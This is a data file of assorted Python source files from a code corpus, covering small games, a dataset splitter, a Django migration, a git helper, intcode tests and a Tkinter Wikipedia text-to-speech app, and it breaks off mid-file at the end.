'nose.collector',\n tests_require = ['nose', 'mock', 'docutils'],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"474316995","text":"import os\r\nimport glob\r\nfrom PIL import Image\r\n\r\ndef save_split(image_class, split, images):\r\n for i, image in enumerate(images):\r\n try:\r\n im = Image.open(image)\r\n im_name = image_class + '-' + str(i) + '.jpg'\r\n path = \"./Split_Dataset/\" + split + \"/\" + image_class + '/'\r\n if (not os.path.exists(path)):\r\n os.makedirs(path)\r\n im.save((path + im_name), 'JPEG')\r\n except OSError:\r\n print('Skipped image ', i, ' of ', image_class)\r\n continue\r\n\r\ndef split_dataset(dataset_path, train_fraction):\r\n print(\"Applying split::\")\r\n print(\"Train: \", (train_fraction * 100), \" Test: \", round((1 - train_fraction) * 100))\r\n classes = os.listdir(dataset_path)\r\n for c in classes:\r\n folders = os.listdir(dataset_path + c + '/')\r\n images = []\r\n for f in folders:\r\n images.extend(glob.glob(dataset_path + c + '/' + f + '/*.jpg'))\r\n size = len(images)\r\n train = images[:int(train_fraction * size)]\r\n test = images[int(train_fraction * size):]\r\n print(\"Splitting images of class: \", c, \" Train: \", len(train), \" Test: \", len(test))\r\n save_split(c, 'Train', train)\r\n save_split(c, 'Test', test)\r\n \r\ndef main():\r\n dataset_path = \"Images/\"\r\n split_dataset(dataset_path, 0.8)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"split_dataset.py","file_name":"split_dataset.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"278508479","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('letters', '0005_auto_20150201_1819'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='letterhead',\n name='logo_height',\n field=models.IntegerField(default=50, help_text='Logo height in mm'),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='letterhead',\n name='logo_width',\n field=models.IntegerField(default=70, help_text='Logo width in mm'),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='letterhead',\n name='created',\n field=models.DateTimeField(auto_now_add=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='letterhead',\n name='end_time',\n field=models.DateTimeField(auto_now_add=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='letterhead',\n name='start_time',\n field=models.DateTimeField(auto_now_add=True),\n preserve_default=True,\n ),\n ]\n","sub_path":"api/correspondence/letters/migrations/0006_auto_20150208_1620.py","file_name":"0006_auto_20150208_1620.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"530049575","text":"\"\"\"\nimport random\nimport math\n\n# num = input(\"情输入一个三位数\")\n # 输入的字符类型 不转换则报错\n # 判断输入的数字,与系统随机数比较大小\n #\n # if num.isdigit() and 100 <= int(num) <= 999:\ns = random.randrange(1,100)\nprint(s)\ntime = 3\nwhile time:\n num = input(\"请输入数字\")\n if num.isdigit():\n tmp = int(num)\n if tmp == s:\n print(\"panda\")\n break\n elif tmp > s:\n print(\"woaini\")\n time -= 1\n else:\n print(\"滚犊子\")\n time -= 1\n else:\n print(\"请输入正确的正整数\")\n time -= 1\nprint(\"结束\")\n\"\"\"\n\nimport random\nimport math\n\"\"\"\n输入一个三位数与程序随机数比较大小\n如果程序大于程序随机数,则分别输出这个三位数的个位/十位/百位\n如果等于程序随机数,则提示中奖,记100分\n如果小于程序随机数,则将120个字符输入到文本文件中\n (规则是每一条字符串的长度为12,单独占一行,并且前四个字母,后8个是数字)\n\"\"\"\nclass GameGum(object):\n #输入函数\n def line(self):\n str_num = ''\n # 定义一个空字符串用于拼接\n # 循环前四个随机字��用ascll对应的值来随机在转换为字母\n for i in range(4):\n # 随机小写ascll码\n num = random.randrange(97,123)\n # 将ascll值转换为字母\n str_s = chr(num)\n # 依次拼接得到的随机字母\n str_num = str_num + str_s\n # 循环后八个随机数字\n for i in range(8):\n num = random.randrange(0,10)\n str_num = str_num + str(num)\n #print(str_num)\n return str_num\n\n\n def num_member(self, total, sourse):\n range_num = random.randrange(100, 1000)\n print(range_num)\n i = 1\n while True:\n\n num = input(\"请输入数字\")\n if num == \"1\":\n break\n\n #程序随机数\n #检测输入是否为数字\n if num.isdigit() and 100 <= int(num) <= 999:# 输入函数返回的是字符串类型,不能与整性直接比对,需要转换\n total += 1\n print(\"输入有效次数为%d\"%total)\n #sou = sourse//total\n #print(\"你中奖的概率为%{}\".format(sou))\n num = int(num)\n range_num = int(range_num)\n if num > range_num:\n\n # 求百位数字方法是地板除 100或用数学模块 当中的floor()函数\n bai = num//100\n # 求十位数字方法是先把三位数字取100的余数,在地板除10\n shi = num % 100 // 10\n # 求各位数字方法是直接取10的模\n ge = num % 10\n print(\"你输入的数字比程序随机数大,随机数为{}\".format(range_num))\n print(\"这个三位数的百位是{}, 十位是{}, 个位是{}\".format(bai, shi, ge))\n if num < range_num:\n # 由于120个字符串每行12个可加只需存入10 行就可以\n print(\"你输入的数字比程序随机数小,随机数为{}\".format(range_num))\n for i in range(10):\n str_line = GameGum.line(self)\n #print(str_line)\n # 执行文件存入操作\n with open('str_num.txt','a') as f:\n f.write(str_line + \"\\n\")\n # with 自动关闭文件,open需加关闭操作\n #f.close()\n if num == range_num:\n sourse = sourse +100\n sou = sourse // total\n print(\"你中奖的概率为%{}\".format(sou))\n print(\"恭喜你中奖了目前分数为\",sourse)\n break\n else:\n if i == 3 :\n print(\"请按规定输入\")\n break\n else:\n print(\"请按规定输入\")\n i = i + 1\n # 程序入口\nif __name__ == '__main__': # 调试代码\n # 在本身模块中__name__ == __main__ 当第三方导入的时候__name__ == 文件名\n # 下面调用函数\n sourse = 0\n # 定义一个变量用于累计输入次数\n total = 0\n #GameGum.num_member(0,total,sourse)\n #实例化类\n game = GameGum()\n game.num_member(total,sourse)\n #通过类调用函数\n\n","sub_path":"User/day1/panduan.py","file_name":"panduan.py","file_ext":"py","file_size_in_byte":4644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"140572302","text":"class Solution(object):\n def countNumbersWithUniqueDigits(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n if not n or n == 0:\n return 1\n\n if n == 1:\n return 10\n\n '''\n # My solution here - not very elegant and O(n) space\n res = [None]*(n+1)\n res[0] = 0\n res[1] = 10 # 10 choices for n = 1\n res[2] = 81 # 9 * 9 for n == 2\n seed = 8\n\n for length in range(3,n+1):\n\n res[length] = res[length-1]*seed\n seed -= 1\n\n return sum(res)\n '''\n res = 10\n unique = 9\n available = 9\n for length in range(2, n + 1):\n unique = unique * available\n res = res + unique\n available -= 1\n\n return res\n","sub_path":"357_Count_Numbers_Unique_Digits.py","file_name":"357_Count_Numbers_Unique_Digits.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"331614640","text":"from urllib import request\nfrom http import cookiejar\n\nfilename = 'cookie.txt'\ncookie = cookiejar.MozillaCookieJar(filename)\nhandler = request.HTTPCookieProcessor(cookie)\n# build_opener(*handler) 代表可以接收多个handler\nopener = request.build_opener(handler)\n\n# 访问的是http协议,不需要证书\nresponse = opener.open('http://www.baidu.com')\n# print(response.read().decode('utf8'))\n\n# 将cookie存到本地\ncookie.save(ignore_discard=True, ignore_expires=True)\n\nfor item in cookie:\n print(item.name + '=' + item.value)\n","sub_path":"Python3网络爬虫/section3-基本库使用/01-发起网络请求/08-把网站的Cookies存到本地.py","file_name":"08-把网站的Cookies存到本地.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"576658384","text":"# filetreeview-1.py\n\nfrom wax import *\n\nclass MainFrame(Frame):\n\n def Body(self):\n splitter = Splitter(self)\n self.treeview = FileTreeView(splitter)\n self.filewindow = self.MakeFileWindow(splitter)\n splitter.Split(self.treeview, self.filewindow, direction='v', \n sashposition=150, minsize=100)\n \n self.treeview.ProcessFiles = self.ProcessFiles\n \n self.AddComponent(splitter, expand='both')\n self.Pack()\n self.Size = 500, 400\n \n def MakeFileWindow(self, parent):\n p = Panel(parent, direction='v')\n listview = ListView(p, columns=['Filename', 'foo', 'bar', 'baz'])\n p.AddComponent(listview, expand='both')\n infopanel = Panel(p, direction='v')\n infopanel.SetSize((-1, 100))\n p.AddComponent(infopanel, expand='h')\n p.Pack()\n \n self.art = ArtProvider((16, 16))\n \n imagelist = ImageList(16, 16)\n imagelist.Add(self.art.GetBitmap('folder', 'other'), name='folder')\n imagelist.Add(self.art.GetBitmap('normal_file', 'other'), name='file')\n listview.SetImageList(imagelist)\n listview.SetColumnWidth(0, 300)\n\n # keep references around for later use\n p.listview = listview\n p.infopanel = infopanel\n \n return p\n \n def ProcessFiles(self, dirs, files):\n listview = self.filewindow.listview\n listview.DeleteAllItems()\n for short, long in dirs:\n listview.AppendRow(short + \"/\")\n for short, long in files:\n index = listview.AppendRow(short)\n image_index = listview._imagelist['file']\n listview.SetItemImage(index, image_index, image_index)\n\n \napp = Application(MainFrame, title='filetreeview-1')\napp.Run()\n","sub_path":"src/wax/examples/filetreeview-1.py","file_name":"filetreeview-1.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"229551278","text":"import pyperclip\r\nimport cfscrape\r\nfrom time import sleep\r\n\r\n#user variables, change as needed\r\nconsole_pfx = 'Console> '\r\nerror_pfx = 'Error> '\r\nuser_pfx = 'BD-IPL~> '\r\n\r\n\r\nerrors=[]\r\nhooks=['https://who.is','http://whatismyipaddress.com']\r\nversion='1.8.6-P'\r\nscr=cfscrape.create_scraper()","sub_path":"BD-IPL/packages/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"173152755","text":"import os\nimport sys\nimport signal\nimport subprocess\n\n\n# Colors class!!\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\n\n# Handle the Ctrl+C exiting\ndef signal_handler(sig, frame):\n print(bcolors.WARNING + \"\\nExited gracefully\", bcolors.ENDC)\n sys.exit(0)\n\n\n# Checks if currently in Git repo\ndef checkIfGit():\n if not os.path.exists(\"./.git\"):\n print(\"Not a git repo dummy\")\n sys.exit()\n\n\n# Main function for executing shell commands and returning the output\ndef exec(cmd):\n r = subprocess.check_output(cmd, shell=True)\n return r.decode(\"utf-8\")\n\n\n# Parse status\ndef parseStatus(s):\n lines = s.splitlines()\n branx = lines[0]\n branx = branx[10:]\n temp_files = lines[7:lines.index(\"Untracked files:\") - 1]\n # print(temp_files)\n files = []\n\n for x in temp_files:\n if x[0:1] == \"\\t\":\n files.append(x)\n\n untra = lines[lines.index(' (use \"git add ...\" to include in what will be committed)')+2:len(lines)-2]\n # print(untra)\n\n for i in range(len(untra)):\n untra[i] = \"created:\" + untra[i]\n\n files.extend(untra)\n # print(files)\n\n return branx, files\n\n\n# Append the type of change in file\ndef stylizeFile(str):\n str = str.split()\n if str[0] == \"modified:\":\n str[0] = bcolors.FAIL + str[0] + bcolors.ENDC\n if str[0] == \"created:\":\n str[0] = bcolors.OKGREEN + str[0] + bcolors.ENDC\n if str[0] == \"new\":\n str[0] = bcolors.OKGREEN + str[0] + \" \" + str[1] + bcolors.ENDC\n str[1] = str[2]\n return str[0] + '\\t' + str[1]\n\n\n# Print files in a nicely formatted way u_u\ndef printFiles(b, f):\n print(\"\\nCurrent branch:\",bcolors.OKGREEN + b.upper() + bcolors.ENDC,\"\\n\")\n\n for i in range(len(f)):\n str = stylizeFile(f[i])\n print(\" \",i,\"\\t\",str)\n\n print(\"\\n\")\n print(\"Select which files you want to commit:\")\n\n\n# Checks if in Git, executes 'git status', parses it, and returns it to main process\ndef setup():\n checkIfGit()\n status = exec(\"git status\")\n b, f = parseStatus(status)\n printFiles(b, f)\n return b, f\n\n\n# Parse numbers with patterns such as (1-3, >2, -3)\ndef parseIntSet(nputstr, maxList):\n selection = set()\n invalid = set()\n tokens = [x.strip() for x in nputstr.split(',')]\n \n noAdd = False\n for i in tokens:\n if len(i) > 0:\n if i == \".\":\n i = \"0-%s\"%(maxList)\n if i[:1] == \"<\":\n i = \"0-%s\"%(i[1:])\n if i[:1] == \"-\":\n selection.remove(int(i[1:]))\n noAdd = True\n try:\n if (not noAdd):\n selection.add(int(i))\n else:\n noAdd = False\n except:\n try:\n token = [int(k.strip()) for k in i.split('-')]\n if len(token) > 1:\n token.sort()\n first = token[0]\n last = token[len(token)-1]\n for x in range(first, last+1):\n selection.add(x)\n except:\n invalid.add(i)\n if len(invalid) > 0:\n print(bcolors.FAIL + \"Invalid set: \" + str(', '.join(invalid)),bcolors.ENDC)\n return None\n return selection\n\n\n# Parse commands\ndef parseCmd(cmd, files):\n if cmd.find(\"chng\") > -1:\n return None\n elif cmd == 'q':\n print(bcolors.OKGREEN + 'Goodbye!\\n', bcolors.ENDC)\n sys.exit()\n elif cmd == '':\n print(bcolors.FAIL + \"Invalid entry: Empty\", bcolors.ENDC);\n return None\n else:\n return parseIntSet(cmd, len(files) - 1)\n\n\n# Appends commit files in one line to feed to 'git add ...'\ndef getCommits(f, fC):\n return (' '.join((f[i])[9:] for i in fC))\n\n\ndef main():\n\n signal.signal(signal.SIGINT, signal_handler) # Handle the Ctrl+C exit\n\n branch, commitFiles = setup() # Make sure in Git project, return branch and files\n\n filesC = None\n cmd_c = ''\n\n while filesC == None:\n cmd_add = input(\"$ \")\n filesC = parseCmd(cmd_add, commitFiles)\n\n for x in filesC:\n if (int(x) + 1 > len(commitFiles)):\n filesC = None;\n print(bcolors.FAIL + \"Invalid entry: Out of range\", bcolors.ENDC)\n\n print(bcolors.OKGREEN + \"Adding files:\", ', '.join(str(x) for x in filesC), bcolors.ENDC)\n\n commitList = getCommits(commitFiles, filesC)\n\n print(\"git add \" + commitList)\n\n committing = input(\"Want to commit? (y/n): \")\n\n if committing == '':\n committing = 'n'\n\n if (committing == 'n' or committing == \"N\"):\n print(bcolors.WARNING + \"Make sure to commit your changes later!\\n\", bcolors.ENDC)\n sys.exit()\n\n while cmd_c == '':\n cmd_c = input(\"Name of commit: \")\n\n print(bcolors.OKGREEN + \"Created new commit\", cmd_c, bcolors.ENDC)\n \n print(\"git commit -m\", cmd_c)\n\nmain()\n","sub_path":"gitter.py","file_name":"gitter.py","file_ext":"py","file_size_in_byte":5000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"204126175","text":"#this is TIC tac\nimport random\n\ndef display_board(board):\n# clear_output()\n print('Note : The position on the board') \n print('-------------------------------------------------------')\n print(' | |')\n print(' '+board[7]+' | '+board[8]+' | '+board[9])\n print('-----------')\n print(' | |')\n print(' '+board[4]+' | '+board[5]+' | '+board[6])\n print('-----------')\n print(' | |')\n print(' '+board[1]+' | '+board[2]+' | '+board[3])\n\ndef player_input():\n marker = ''\n name_p1 = input('Enter P1 Name ')\n name_p2 = input('Enter P2 Name ')\n while not (marker == 'X' or marker == 'O'):\n marker = input('Player 1 please enter the marker (X / O) ----> ').upper()\n if marker == 'X':\n return ('X','O')\n elif marker == 'O':\n return ('O','X')\n else:\n print('Please choose correct marker from (X / O) ')\n print('Lets start the game')\n\t\n\ndef place_marker(board, marker, position):\n board[position] = marker\n\ndef win_check(board, mark):\n return((board[1] == mark and board[2] == mark and board[3] == mark) or\n (board[4] == mark and board[5] == mark and board[6] == mark) or\n (board[7] == mark and board[8] == mark and board[9] == mark) or\n (board[1] == mark and board[4] == mark and board[7] == mark) or\n (board[2] == mark and board[5] == mark and board[8] == mark) or\n (board[3] == mark and board[6] == mark and board[9] == mark) or\n (board[1] == mark and board[5] == mark and board[9] == mark) or\n (board[3] == mark and board[5] == mark and board[7] == mark))\n\n#import random\n\ndef choose_first():\n if random.randint(1,2) == 1:\n return ('1')\n else:\n return ('2')\n\t\t\n\ndef space_check(board, position):\n return board[position] == ' '\n\ndef full_board_check(board):\n for i in range(1,10):\n if space_check(board,i):\n return False\n return True\n\ndef player_choice(board):\n position = 0\n \n while position not in [1,2,3,4,5,6,7,8,9] or not space_check(board, position):\n position = int(input('Choose your next position: (1-9) '))\n\n return position\n\ndef replay():\n play_again = ''\n while not (play_again == 'Y' or play_again =='N'):\n play_again = input('Do you want to play again (Y / N ): ').upper()\n if play_again == 'Y':\n return True\n elif play_again == 'N':\n return False\n else:\n print('Please enter valid input : (Y - Yes / N - No ) ')\n\nprint('Welcome to Tic Tac Toe!')\n\n\nwhile True:\n \n p1_M,p2_M = player_input()\n turn = choose_first()\n print('Player {} will go first '.format(turn))\n game = input('Do you want to start the game. Yes(Y) / No(N) : ').upper()\n board = [' ']*10\n if game == 'Y':\n game_on = True\n elif game == 'N':\n game_on = False\n else:\n print('Please enter valid Input Y or N ,to continue the game')\n \n while game_on:\n if turn == '1':\n display_board(board)\n pos = int(player_choice(board))\n place_marker(board,p1_M,pos)\n if win_check(board, p1_M):\n display_board(board)\n print('Congratulations! You have won the game!')\n game_on = False\n else:\n if full_board_check(board):\n display_board(board)\n print('The game is draw')\n game_on = False\n else:\n turn = '2'\n else:\n #player 2\n display_board(board)\n pos = int(player_choice(board))\n place_marker(board,p2_M,pos)\n if win_check(board, p2_M):\n display_board(board)\n print('Congratulations! You have won the game!')\n game_on = False\n else:\n if full_board_check(board):\n display_board(board)\n print('The game is draw')\n game_on = False\n else:\n turn = '1'\n \n if not replay():\n break\n","sub_path":"TICTAS-master/TICTAC.py","file_name":"TICTAC.py","file_ext":"py","file_size_in_byte":4137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"521313923","text":"# 선수들의 이름이 주어질 때 어떤 순서로 이루어져 있는가?\n# N : 선수들의 이름 개수\n# 대문자로 이루어짐, 이름은 중복되지 않음.\n# 증가하는 순이면 INCREASING\n# 감소하는 순이면 DECREASING\n# 두 경우가 아니라면 NEITHER\n\ndef line_up(name_list):\n answer = \"NEITHER\"\n increasing_list = sorted(name_list)\n\n if name_list == increasing_list:\n answer = \"INCREASING\"\n elif name_list == increasing_list[::-1]:\n answer = \"DECREASING\"\n return answer\n\nname_list = []\nfor _ in range(int(input())):\n name = input()\n name_list.append(name)\n\nprint(line_up(name_list=name_list))\n","sub_path":"백준/줄세우기.py","file_name":"줄세우기.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"580813556","text":"import sqlite3\nfrom contextlib import contextmanager\nfrom typing import Union\n\nfrom settings import PATH_DATABASE\n\n\n@contextmanager\ndef get_base(path: str = PATH_DATABASE, is_commit: bool = False):\n con = sqlite3.connect(path)\n try:\n sql = con.cursor()\n yield sql\n finally:\n if is_commit:\n con.commit()\n else:\n con.close()\n\n\ndef get_user_by_login(login: str) -> Union[None, list]:\n with get_base('database/base.sqlite') as base:\n req = base.execute(\"\"\"SELECT * FROM Users WHERE login = ?;\"\"\", (login, )).fetchall()\n if req:\n return req[0]\n return\n","sub_path":"database/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"477657747","text":"import sys\nimport os\nimport re\n\nos.chdir(\"..\");\n\nif(len(sys.argv) < 3):\n print(\"Not enough arguments. GetTextFromTagged.py take two arguments\");\n print(\"Try with: python3 GetTextFromTagged.py \");\n\ninputPath = sys.argv[1];\noutputPath = sys.argv[2];\n\ntaggedFile = open(inputPath, \"r+\");\ntaggedContent = taggedFile.read();\ntaggedFile.close();\n\ntaggedLines = taggedContent.split(\"\\n\");\ntaggedWords = []\nfor line in taggedLines:\n taggedWords += line.split(\" \");\noutputFile = open(outputPath, \"w+\");\ni = 0\nfor word_tag in taggedWords:\n i += 1\n print(word_tag)\n word_tagSplit = word_tag.split(\"_\");\n if(len(word_tagSplit) == 2):\n outputFile.write(word_tagSplit[0] + \"\\t\" + word_tagSplit[1] + \"\\n\");\noutputFile.close();","sub_path":"src/StanfordToDC.py","file_name":"StanfordToDC.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"614583424","text":"from instruction import (\n HaltInstruction,\n AddInstruction,\n MultInstruction,\n InputInstruction,\n Param,\n JumpIfTrueInstruction,\n JumpIfFalseInstruction,\n LessThanInstruction,\n EqualsInstruction,\n AdjustRelativeBaseInstruction,\n)\nfrom unittest.mock import Mock\n\nimport pytest\n\n\ndef test_halt_instruction_calls_program_halt():\n opcode_computer = Mock()\n halt_instruction = HaltInstruction(opcode_computer, ())\n\n halt_instruction.execute()\n\n assert opcode_computer.halt.called is True\n\n\n@pytest.fixture\ndef stub_computer():\n class StubComputer:\n def get(self, addr):\n if addr == 3:\n return 42\n if addr == 5:\n return 58\n if addr == 7:\n return 58\n\n def put(self, addr, value):\n pass\n\n def read_input(self):\n return 66\n\n return StubComputer()\n\n\ndef test_addition_instruction_puts_sum_to_address(stub_computer):\n opcode_computer = stub_computer\n opcode_computer.put = Mock()\n\n addr_orig1 = Param(3)\n addr_orig2 = Param(5)\n addr_target = Param(10)\n\n addition_instruction = AddInstruction(\n opcode_computer, [addr_orig1, addr_orig2, addr_target]\n )\n addition_instruction.execute()\n\n opcode_computer.put.assert_called_with(10, 100)\n\n\ndef test_mult_instruciton_puts_difference_to_address(stub_computer):\n opcode_computer = stub_computer\n opcode_computer.put = Mock()\n addr_orig1 = Param(3)\n addr_orig2 = Param(5)\n addr_target = Param(10)\n\n subtraction_instruction = MultInstruction(\n opcode_computer, [addr_orig1, addr_orig2, addr_target]\n )\n subtraction_instruction.execute()\n\n opcode_computer.put.assert_called_with(10, 42 * 58)\n\n\ndef test_input_instruction_asks_computer_for_input():\n opcode_computer = Mock()\n opcode_computer.read_input = Mock(return_value=55)\n\n addr_target = Param(10)\n input_instruction = InputInstruction(opcode_computer, [addr_target])\n\n input_instruction.execute()\n\n assert opcode_computer.read_input.called is True\n opcode_computer.put.assert_called_with(10, 55)\n\n\ndef test_jump_if_true_instruction_sets_instruction_pointer():\n opcode_computer = Mock()\n\n jump_true_instruction = JumpIfTrueInstruction(\n opcode_computer, [Param(5, 1), Param(10, 1)]\n )\n\n jump_true_instruction.execute()\n\n opcode_computer.set_instruction_pointer.assert_called_with(10)\n\n\ndef test_jump_if_true_doesnt_jump_if_false():\n opcode_computer = Mock()\n opcode_computer.instruction_pointer = 5\n\n jump_true_instruction = JumpIfTrueInstruction(\n opcode_computer, [Param(0, 1), Param(10, 1)]\n )\n\n jump_true_instruction.execute()\n\n assert opcode_computer.set_instruction_pointer.called is False\n\n\ndef test_jump_if_false_instruction_sets_instruction_pointer():\n opcode_computer = Mock()\n\n jump_true_instruction = JumpIfFalseInstruction(\n opcode_computer, [Param(0, 1), Param(10, 1)]\n )\n\n jump_true_instruction.execute()\n\n opcode_computer.set_instruction_pointer.assert_called_with(10)\n\n\ndef test_jump_if_false_doesnt_jump_if_true():\n opcode_computer = Mock()\n opcode_computer.instruction_pointer = 5\n\n jump_true_instruction = JumpIfFalseInstruction(\n opcode_computer, [Param(5, 1), Param(10, 1)]\n )\n\n jump_true_instruction.execute()\n\n assert opcode_computer.set_instruction_pointer.called is False\n\n\ndef test_less_than(stub_computer):\n opcode_computer = stub_computer\n opcode_computer.put = Mock()\n\n addr_orig1 = Param(3)\n addr_orig2 = Param(5)\n addr_target = Param(10)\n\n addition_instruction = LessThanInstruction(\n opcode_computer, [addr_orig1, addr_orig2, addr_target]\n )\n addition_instruction.execute()\n\n opcode_computer.put.assert_called_with(10, 1)\n\n\ndef test_equals(stub_computer):\n opcode_computer = stub_computer\n opcode_computer.put = Mock()\n\n addr_orig1 = Param(5)\n addr_orig2 = Param(7)\n addr_target = Param(10)\n\n addition_instruction = EqualsInstruction(\n opcode_computer, [addr_orig1, addr_orig2, addr_target]\n )\n addition_instruction.execute()\n\n opcode_computer.put.assert_called_with(10, 1)\n\n\ndef test_relative_base_offset(stub_computer):\n opcode_computer = stub_computer\n opcode_computer.adjust_relative_base = Mock()\n\n relative_base_instruction = AdjustRelativeBaseInstruction(\n opcode_computer, [Param(55, mode=1)]\n )\n\n relative_base_instruction.execute()\n\n opcode_computer.adjust_relative_base.assert_called_with(55)\n","sub_path":"day09/test_instruction.py","file_name":"test_instruction.py","file_ext":"py","file_size_in_byte":4566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"52028751","text":"import wikipedia\nimport tkinter\nimport tkinter as tk\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter.scrolledtext import *\n# import window support\nimport win32com.client as wincl\n\nspeak = wincl.Dispatch(\"SAPI.SpVoice\")\n\n\"\"\"\n#TEXTBASED aiWIKI \nsearch_phase = input(\"Type in a search phrase\")\noutput_sentences = input(\"How many sentences would you like to output?\")\noutput_phase = wikipedia.summary(search_phase, sentences=output_sentences)\nprint(output_phase)\n\"\"\"\n\n# GUI\nwindow = tk.Tk()\n# title\nwindow.title(\"Riley the AI\")\n# size full screen\nwindow.geometry('750x700')\n\n# better GUI\nstyle = ttk.Style(window)\n\n# color gui\nwindow.configure(bg='orange')\n\n# icon images\n# trash icon\ntrashIcon = PhotoImage(file=\"trash.png\")\n# size image\ntrash = trashIcon.subsample(3, 3)\n\n# speaker icon\nspeakIcon = PhotoImage(file=\"riley.png\")\n# size image\nspeaker = speakIcon.subsample(2, 2)\n\n# text icon\ntextIcon = PhotoImage(file=\"print.png\")\n# size image\ntext = textIcon.subsample(3, 3)\n\n# copy icon\ncopyIcon = PhotoImage(file=\"copy.png\")\n# size image\ncopy1 = copyIcon.subsample(3, 3)\n\n# image of Riley\naiIcon = PhotoImage(file=\"ai.png\")\n# size image\nai1 = aiIcon.subsample(1, 1)\n# actual image\nai = Label(window, image=ai1, padx=5, pady=5, bg=\"orange\")\nai.grid(column=1, row=0)\n\n# label image\nsearchIcon = PhotoImage(file=\"searchLabel.png\")\n# sizing\nsearch_label = searchIcon.subsample(2, 2)\n\n# text image\ntextIcon = PhotoImage(file=\"textLabel.png\")\n# sizing image\ntext_label = textIcon.subsample(2, 2)\n\n\n# ai is created\ndef ai_creator():\n # the text that you converted to audio uncomment\n # file input audio\n myText = open(\"ai.txt\", \"r\").read().replace(\"\\n\", \" \")\n # language\n language = 'en'\n # Playing the converted file\n speak.Speak(myText)\n\n\n# erase input\n # entry_sentences.delete('1.0', END)\ndef erase():\n # entries\n entry.delete('1.0', END)\n output_display.delete('1.0', END)\n print(\"About to erase output:\")\n print(\"About to Erase input:\")\n erase()\n\n\n# search wiki function\ndef wiki_output():\n # entries\n search_phrase = entry.get('1.0', tk.END)\n #\n output_phrase = wikipedia.summary(search_phrase, sentences=2)\n #\n # open file / write in file\n file = open(\"ai.txt\", \"w\")\n # ai writes output in a file\n file.write('your topic is interesting. ')\n file.write(output_phrase)\n file.write(' I am Riley thank you')\n # closes file\n file.close()\n # ai speaks\n ai_creator()\n\n # output text\n\n\ndef output_text():\n # entries\n search_phrase = entry.get('1.0', tk.END)\n output_phrase = wikipedia.summary(search_phrase, sentences=100)\n output_display.insert(tk.END, output_phrase)\n # causes many loops if I uncomment output_text()\n # output_text\n\n\ndef copy():\n search_phrase = entry.get('1.0', tk.END)\n output_phrase = wikipedia.summary(search_phrase, sentences=100)\n r = Tk()\n r.withdraw()\n r.clipboard_clear()\n r.clipboard_append(output_phrase)\n r.update()\n copy()\n\n print(\"About to print speech:\")\n print(output_phrase)\n\n\n# a label widget is created for what topic to search\nlabel_text_to_summarize1 = Label(window, image=search_label, padx=5, pady=5, bg='orange')\n# label was placed using .grid\nlabel_text_to_summarize1.grid(row=0, column=0)\n\n# user input for topic\nentry = ScrolledText(window,\n height=0) # location of the scrolled text widget using .grid entry.grid(row=2, column=0, columnspan=5, padx=5, pady=5)\n# location of the scrolled text widget using .grid\nentry.grid(row=1, column=0, columnspan=4, padx=5, pady=5)\n\n# button created to activate ai\nbutton_run = Button(window, image=speaker, command=wiki_output, width=65, height=80, bg='white', fg='#fff')\n# button is placed and sized using .grid\nbutton_run.grid(row=5, column=0, padx=5, pady=6)\n\n# button created to erase\nbutton_run1 = Button(window, text=\"Erase Input\", image=trash, command=erase, width=65, height=80, bg='white', fg='#fff')\n# button is placed and sized using .grid\nbutton_run1.grid(row=5, column=1, padx=5, pady=5)\n\n# button created to copy output\nbutton_run2 = Button(window, image=copy1, command=copy, width=65, height=80, bg='white', fg='#fff')\n# button is placed and sized using .grid\nbutton_run2.grid(row=6, column=1, padx=5, pady=5)\n\n# button created to output text\nbutton_run2 = Button(window, image=text, command=output_text, width=65, height=80, bg='white', fg='#fff')\n# button is placed and sized using .grid\nbutton_run2.grid(row=6, column=0, padx=5, pady=5)\n\n# a label widget is created for the window with text 'Enter text to Summarize'\nlabel_text_to_summarize3 = Label(window, image=text_label, padx=5, pady=5, bg='orange')\n# label was placed using .grid\nlabel_text_to_summarize3.grid(row=7, column=0)\n\n# output AI 